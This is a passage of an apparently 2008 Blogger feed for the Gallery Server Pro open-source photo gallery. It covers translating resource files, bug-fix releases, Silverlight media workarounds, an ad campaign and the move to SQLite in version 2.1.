href="http://lh3.ggpht.com/_qh4427KVFsk/SQoC0chP_-I/AAAAAAAAADM/j4J0VHdRLec/s1600-h/zeta1%5B3%5D.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="492" alt="zeta1" src="http://lh3.ggpht.com/_qh4427KVFsk/SQoC1AbMdlI/AAAAAAAAADQ/Ugfz_Jy1TvQ/zeta1_thumb%5B1%5D.jpg?imgmax=800" width="531" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;The two files are merged into a single grid where you can easily compare the two languages. Edit the column GalleryServerPro.nl.resx to contain the translation for the text in the column to its left (GalleryServerPro.resx). That's it. No messing around with the underlying XML or that primitive resource editor in Visual Studio.&lt;/p&gt;  &lt;p&gt;After an initial translation is complete, it must be updated when new versions of Gallery Server Pro are released. Each resource has a date stamp for when it was last updated. The Zeta editor automatically looks for this date stamp and highlights the resources where they differ. For example, here is a screen shot of the 2.0 version of the Dutch resource when compared to the 2.1 version of the English resource:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_qh4427KVFsk/SQoC2df-kXI/AAAAAAAAADU/cXmSfOZEPTo/s1600-h/zeta2%5B11%5D.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="515" alt="zeta2" src="http://lh3.ggpht.com/_qh4427KVFsk/SQoC4ec7LQI/AAAAAAAAADY/jzaIPk46ReA/zeta2_thumb%5B5%5D.jpg?imgmax=800" width="588" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;The yellow, green, and salmon colored cells indicate a resource that must be updated. As you update each one, the background turns white. You know you are done when all the rows are white! (FYI, the first column is always light blue.)&lt;/p&gt;  &lt;p style="font-weight: bold; font-size: 125%"&gt;Translators Needed!&lt;/p&gt;  &lt;p&gt;Gallery Server Pro is open source and supported entirely by volunteers and donations. If you are able to contribute by providing a translation in your language, we would love your help! &lt;strong&gt;As a thank you, I will send everyone who submits a complete translation a copy of the Dilbert book &lt;/strong&gt;&lt;a href="http://www.amazon.com/Casual-Day-Has-Gone-Too/dp/0836228995/ref=sr_1_1?ie=UTF8&amp;amp;s=books&amp;amp;qid=1225379625&amp;amp;sr=8-1"&gt;&lt;strong&gt;Casual Day Has Gone Too Far&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;To get started with a translation, check out the &lt;a href="http://www.galleryserverpro.com/forum/yaf_postst425_How-To-Create-or-update-a-translation.aspx"&gt;Getting Started thread&lt;/a&gt; in the &lt;a href="http://www.galleryserverpro.com/forum/yaf_topics10_Language-Translation.aspx"&gt;Language Translation forum&lt;/a&gt;.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-21414698695956818?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/21414698695956818/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=21414698695956818' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/21414698695956818'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/21414698695956818'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2008/10/multilingual-capabilities-in-gallery.html' title='Multilingual Capabilities in Gallery Server Pro'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_qh4427KVFsk/SQn2COR8pkI/AAAAAAAAADA/HXKZbl4FJVA/s72-c/menu_english_thumb%5B1%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-2672108716425853199</id><published>2008-10-27T16:55:00.002-05:00</published><updated>2008-10-29T11:37:53.088-05:00</updated><title type='text'>Gallery Server Pro Version 2.1.3222 Released</title><content type='html'>&lt;p&gt;This is a minor bug fix release. It contains three bug fixes:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;(SQL Server only) Error when installing to a SQL Server database that uses a case-sensitive collation&lt;/li&gt;    &lt;li&gt;Wrong resource name used in edit album popup window (only affects non-English translations)&lt;/li&gt;    &lt;li&gt;Hidden files are added to the gallery during a synchronization. The synchronization code now inspects the hidden file attribute and ignores all hidden files.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Thanks to forum member KiloMike for helping identify the collation issue. This affects only SQL Server users. I had C# code and SQL in stored procedures that referred to column names that differed only by case, such as AlbumId and AlbumID. That works fine when you are using a case-insensitive collation, which is the default, at least on every installation I have ever done. But this fails in case-sensitive collations, such as SQL_Latin1_General_CP1_CS_AS. As I researched this bug, I also found an issue with the database configuration SQL script. I had originally used Visual Studio Database Edition to produce the SQL that configures the database, and it specifies the SQL_Latin1_General_CP1_CS_AS collation. That has always bothered me, because it just didn't seem right to hard code something so culture-specific. Today I discovered that I could replace these references with "COLLATE database_default", causing it to inherit the collation of the database.&lt;/p&gt;  &lt;p&gt;Some of you will have no idea what I am talking about. No worries. The end result is that GSP will now install in more situations and you have the option of enforcing case sensitivity if you want. So, a gallery search for 'Summer Vacation' is different than 'summer vacation'. Again, I am still talking about SQL Server only. SQLite ignores case, and I am not aware of a way to change this (but I admit I haven't looked into it, either).&lt;/p&gt;  &lt;p&gt;Finally, there is a change in how GSP synchronizes files. Starting with this release, if it encounters a file with the 'hidden' file attribute, it now ignores it. That will help with Apple OS-X users. Thanks to Ralf from Germany for this suggestion.&lt;/p&gt;  &lt;p&gt;Instructions for upgrading are - as always - in the &lt;a href="http://www.galleryserverpro.com/download.aspx"&gt;Administrator's Guide&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-2672108716425853199?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/2672108716425853199/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=2672108716425853199' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/2672108716425853199'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/2672108716425853199'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2008/10/gallery-server-pro-version-213222.html' title='Gallery Server Pro Version 2.1.3222 Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-8895455683660454812</id><published>2008-10-19T22:20:00.001-05:00</published><updated>2008-10-19T22:20:20.756-05:00</updated><title type='text'>Gallery Server Pro Version 2.1.3213 Released</title><content type='html'>&lt;p&gt;I released another set of bug fixes for Gallery Server Pro. The most important of these is fixing the Silverlight issue in Firefox 3. As you may recall, while video and audio played fine in Firefox 2, it worked only intermittently in Firefox 3. The code I used was based on Silverlight 2 Beta 2, and Silverlight finally went RTM last week. I downloaded it and extracted the two javascript files from System.Web.Silverlight. That, combined with a little tweaking of the ScriptTemplate in galleryserverpro.config, and I was able to get it rock solid! Wa HOO!&lt;/p&gt;  &lt;p&gt;The only remaining limitation with Silverlight is that it does not accept media objects streamed from the ASHX handler that GSP uses for all images, audio, video, and other media objects. When you try, you get an empty player and the Play button doesn't do anything. I will be working with Microsoft to get to the bottom of this. Meanwhile, your Silverlight templates in galleryserverpro.config must use the replacement parameters {MediaObjectAbsoluteUrlNoHandler} (for when your media objects directory is within the web application) or {MediaObjectRelativeUrlNoHandler} (for when your media objects directory is outside the web application). Do not use {MediaObjectUrl}.&lt;/p&gt;  &lt;p&gt;There are no database changes in this release, and instructions for upgrading are - as always - in the &lt;a href="http://www.galleryserverpro.com/download.aspx"&gt;Administrator's Guide&lt;/a&gt;. Here is a list of the remaining changes and bug fixes:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Updates&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Updated to version 2008.2 SP1 of ComponentArt Web.UI &lt;/li&gt;    &lt;li&gt;Updated to version 1.0.60.0 of System.Data.SQLite.dll &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;Bug fixes&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Silverlight works intermittently in Firefox 3 &lt;/li&gt;    &lt;li&gt;Navigation error when one or more objects in album are deleted by another user &lt;/li&gt;    &lt;li&gt;NullReferenceException when browsing gallery &lt;/li&gt;    &lt;li&gt;Permission error when searching gallery &lt;/li&gt;    &lt;li&gt;Cannot remove user from role &lt;/li&gt;    &lt;li&gt;Installer does not update provider names &lt;/li&gt;    &lt;li&gt;Error when logging out of my account page &lt;/li&gt;    &lt;li&gt;Image metadata items added twice &lt;/li&gt;    &lt;li&gt;Misleading message during a SQL Server installation &lt;/li&gt; &lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-8895455683660454812?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/8895455683660454812/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=8895455683660454812' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/8895455683660454812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/8895455683660454812'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2008/10/gallery-server-pro-version-213213_19.html' title='Gallery Server Pro Version 2.1.3213 Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-1450935211585949629</id><published>2008-10-02T09:13:00.001-05:00</published><updated>2008-10-02T16:27:22.208-05:00</updated><title type='text'>Gallery Server Pro Version 2.1.3196 Released</title><content type='html'>&lt;p&gt;Yesterday I released several bug fixes for Gallery Server Pro and updated a couple third party components. Instructions for installing and upgrading can be found in the &lt;a title="Gallery Server Pro Download Page" href="http://www.galleryserverpro.com/download.aspx"&gt;Administrator’s Guide&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;The most important fix was to address a problem with video and audio not playing in the Silverlight plug-in. When I released the Silverlight feature in August, I had tested it extensively on my internal network and, with the exception of some issues with Firefox 3, it worked great. However, after the release it became apparent that the plug-in did not work in many situations. A blue box would appear, indicating that the Silverlight control was instantiated, but the video never started.&lt;/p&gt;  &lt;p&gt;In Gallery Server Pro, all media files – photos, video, etc – are served through an ASHX handler. This provides added security and fine tuned control over how the media is streamed to the browser. Unfortunately, the Silverlight plug-in is not behaving well with the handler, and as best I can tell the issue is with Silverlight and not the handler (when in doubt, blame the other guy, right?).&lt;/p&gt;  &lt;p&gt;The browser requires Silverlight 1.0 or higher, but I am using javascript and a player that is distributed with the Silverlight 2.0 Beta 2 Developer Tools. When Silverlight 2.0 goes gold, I will get the latest files and try again. If it still doesn’t work, I’ll contact Microsoft for some assistance.&lt;/p&gt;  &lt;p&gt;Meanwhile, there is an easy workaround that is implemented in this release – link directly to the media file instead of using the handler. The way to do this is to open ~/config/galleryserverpro.config and replace {MediaObjectUrl} with {MediaObjectAbsoluteUrlNoHandler} for each of the templates where Silverlight is specified (there are four). If you need more help, there are additional directions in the upgrade section in the Admin Guide. If your media objects directory is outside the Gallery Server Pro web application, you must use {MediaObjectRelativeUrlNoHandler} instead.&lt;/p&gt;  &lt;p&gt;You may be wondering about my statement that the ASHX handler provides additional security. When you don’t use the handler, your users can view the HTML source and see something like this:&lt;/p&gt;  &lt;p&gt;mediaSource:&lt;a href="http://www.galleryserverpro.com/gsdemo-mediaobjects/Videos/3StrikesChipmunk_56.wmv"&gt;http://www.galleryserverpro.com/gsdemo-mediaobjects/Videos/3StrikesChipmunk_56.wmv&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Anyone can copy this URL and use it to access your video any time they want. IIS happily serves the video without checking with ASP.NET (and the Gallery Server Pro user security model) to make sure the user is allowed to see it. I should note that there is a new feature in IIS 7 where you can restrict access to static files like wmv, but this feature does not provide access to the Gallery Server role/user security so it is not a viable solution.&lt;/p&gt;  &lt;p&gt;If you are allowing anonymous users access to your gallery, then you don’t have anything to worry about, because you are not trying to restrict them anyway. I say this more as an FYI to those of you who lock down the gallery to restrict access to only logged-on users. And even then an anonymous user can get at your video only if they can guess the URL.&lt;/p&gt;  &lt;p&gt;The Silverlight plug-in still does not reliably work in Firefox 3. Sometimes it plays the video; sometimes it doesn’t. Due to the intermittent nature it may be some kind of javascript timing issue. Microsoft has stated they will offer full support with the 2.0 release. I will keep an eye on this and release updated code as soon as I can.&lt;/p&gt;  &lt;p&gt;This release also includes an updated version of the SQLite dll and the just-released 2008.2 ComponentArt Web.UI release. Gallery Server Pro uses many of the CA controls for enhanced UI functionality, including uploading files, the menu, tabs, and grids. Unfortunately, the new release still doesn’t fix an issue where the Add objects page becomes unusable after an upload is aborted, either through clicking Cancel during an upload or after the Upload control aborts an upload because the file exceeds the maximum limit. I am working with them to get a fix.&lt;/p&gt;  &lt;p&gt;Below is the full list of bug fixes. If you are bored, you can read a &lt;a title="Bug fixes in Gallery Server Pro 2.1.3196" href="http://www.galleryserverpro.com/support/DefectsFixed_v2_1_3196.pdf"&gt;detailed report of the bug fixes&lt;/a&gt;.&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Silverlight media does not play with ASHX handler &lt;/li&gt;    &lt;li&gt;Silverlight media not playing when %2b is in URL query string &lt;/li&gt;    &lt;li&gt;Media objects are added in reverse order &lt;/li&gt;    &lt;li&gt;Hard coded English text in web pages &lt;/li&gt;    &lt;li&gt;Width and height properties not updated when small images are rotated &lt;/li&gt;    &lt;li&gt;SQLite provider does not delete related data &lt;/li&gt;    &lt;li&gt;Incorrect SQL in SQLiteProfileProvider &lt;/li&gt;    &lt;li&gt;Records associated with anonymous users are not removed &lt;/li&gt;    &lt;li&gt;SQLite DataReader closes connection during transaction &lt;/li&gt;    &lt;li&gt;Web.config has &amp;lt;machineKey ...&amp;gt; element &lt;/li&gt;    &lt;li&gt;Error occurs when creating an album with an empty name &lt;/li&gt;    &lt;li&gt;Calendar popup appears behind edit album dialog &lt;/li&gt;    &lt;li&gt;User is allowed to add an empty external object &lt;/li&gt;    &lt;li&gt;SQL Server password accidentally set to encrypted &lt;/li&gt;    &lt;li&gt;Invalid password attempt count too low &lt;/li&gt;    &lt;li&gt;Null reference exception when session and profile are null &lt;/li&gt; &lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-1450935211585949629?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/1450935211585949629/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=1450935211585949629' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/1450935211585949629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/1450935211585949629'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2008/10/gallery-server-pro-version-213196.html' title='Gallery Server Pro Version 2.1.3196 Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-7074647190029652273</id><published>2008-09-29T17:38:00.001-05:00</published><updated>2008-09-29T17:38:00.138-05:00</updated><title type='text'>Gallery Server Pro Ad Campaign Started</title><content type='html'>&lt;p&gt;Today I started an ambitious ad campaign with &lt;a href="http://www.google.com"&gt;Google&lt;/a&gt; and &lt;a href="http://www.kanoodle.com"&gt;Kanoodle&lt;/a&gt;. Until today, the only marketing I have done are press releases and general SEO techniques. I don’t think the press releases have done much, but the SEO has worked reasonably well. The popularity of &lt;a href="http://www.galleryserverpro.com"&gt;Gallery Server Pro&lt;/a&gt; continues to grow every month, and the latest stats show about 25,000 unique visitors per month. There is potential for much more, and I believe Gallery Server Pro has the stability, robustness, and features to justify laying out cold, hard cash to bring in more users.&lt;/p&gt;  &lt;p&gt;I continue to work full time on Gallery Server Pro. Your support – through donations – is greatly appreciated and is what makes this whole thing work. I thank you from the bottom of my heart.   &lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-7074647190029652273?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/7074647190029652273/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=7074647190029652273' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/7074647190029652273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/7074647190029652273'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2008/09/gallery-server-pro-ad-campaign-started.html' title='Gallery Server Pro Ad Campaign Started'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-6918155154420616564</id><published>2008-09-23T09:49:00.001-05:00</published><updated>2008-09-27T07:32:09.596-05:00</updated><title type='text'>Gallery Server Pro Architecture White Paper</title><content type='html'>&lt;p&gt;CodeProject has published an article I wrote describing the &lt;a title="Article describing the architecture of Gallery Server Pro" href="http://www.codeproject.com/KB/web-image/Gallery_Server_Pro.aspx"&gt;architecture of Gallery Server Pro&lt;/a&gt;. I first wrote it for the 2.0 release several months ago, but just updated it for 2.1. It has been very popular, with over 90,000 views and an average rating of 4.6 out of 5!&lt;/p&gt;  &lt;p&gt;If you are interested in a behind-the-scenes look, check it out. I describe several of the software patterns, including the composite and strategy pattern. In addition, I describe the HTML rendering model and the data provider infrastructure. There is also a section that describes the image metadata extraction technique.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-6918155154420616564?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/6918155154420616564/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=6918155154420616564' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6918155154420616564'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6918155154420616564'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2008/09/gallery-server-pro-architecture-white.html' title='Gallery Server Pro Architecture White Paper'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-4267249152146862561</id><published>2008-08-28T17:39:00.001-05:00</published><updated>2008-09-27T07:33:08.391-05:00</updated><title type='text'>Version 2.1 Released!</title><content type='html'>&lt;p&gt;I am pleased to announce the immediate availability of Gallery Server Pro 2.1. There are several new features and a couple dozen bug fixes.&lt;/p&gt;  &lt;p&gt;The most important new feature is the use of the open source &lt;a title="Go to the SQLite home page" href="http://www.sqlite.org"&gt;SQLite&lt;/a&gt; database engine for storing gallery data. SQLite is a self-contained, serverless, zero-configuration, transactional, ACID compliant SQL database engine. That is a mouthful, but it can be summed up as “It rocks!”. In fact, you are probably already a SQLite user, as it is the most widely deployed SQL database engine in the world. It is embedded in various Adobe products, Mozilla Firefox, and even in the Apple, Solaris, and Symbian operating systems.&lt;/p&gt;  &lt;p&gt;The beauty of SQLite – at least as far as Gallery Server Pro is concerned – is that there is nothing extra to install. The data reside in a file named galleryserverpro_data.sqlite in the App_Data directory of your web application. GSP communicates with the database using System.Data.SQLite.dll, which is a .NET wrapper around the sqlite3.dll C library. This .NET wrapper greatly simplifies the coding, and I owe a great big thanks to its creator, Robert Simpson, at &lt;a title="http://sqlite.phxsoftware.com" href="http://sqlite.phxsoftware.com"&gt;http://sqlite.phxsoftware.com&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;During installation, you no longer have to mess with SQL configuration settings. The wizard asks you which database engine you want to use – SQLite or SQL Server. If you choose SQLite, then you enter the username and password you want to use for GSP administration, and you are done! Ba-da-boom, ba-da-bing!&lt;/p&gt;  &lt;p&gt;SQL Server is still a first-class component, including SQL Server 2008 and SQL Server 2008 Express. You may want to use SQL Server if any of the following are true:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;You are comfortable with SQL Server. &lt;/li&gt;    &lt;li&gt;You are already using SQL Server and want to keep all your data in one place. &lt;/li&gt;    &lt;li&gt;You are forced to run Gallery Server Pro in a Medium Trust environment and are not able to install System.Data.SQLite.dll in the Global Assembly Cache (GAC). &lt;/li&gt;    &lt;li&gt;Your installation of GSP is mission-critical and you don’t want to take any chances with your data. Since SQLite is file-based, there are rare circumstances where the hard drive reports to the software that the data is written to disk, when in fact it has not yet done so. If, at this moment, your PC loses power, SQLite will think the data is safely stored, but it is not. &lt;/li&gt;    &lt;li&gt;You are already using ASP.NET membership and have your users in SQL Server. For example, you may have DotNetNuke installed and want GSP to use the existing user accounts in your SQL Server DotNetNuke database. &lt;/li&gt;    &lt;li&gt;You have other applications besides the GSP web application interacting with the data file. You may encounter file locking issues and slowed performance as multiple threads wrestle for access to the file. This is one of the few cases where a traditional client-server database such as SQL Server is clearly superior. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;I believe the vast majority of you will find SQLite to be the best option, and there are a good number of you who wouldn’t consider using GSP before because you didn’t know a darn thing about SQL Server, and didn’t have the time or inclination to learn yet another thing. Now,
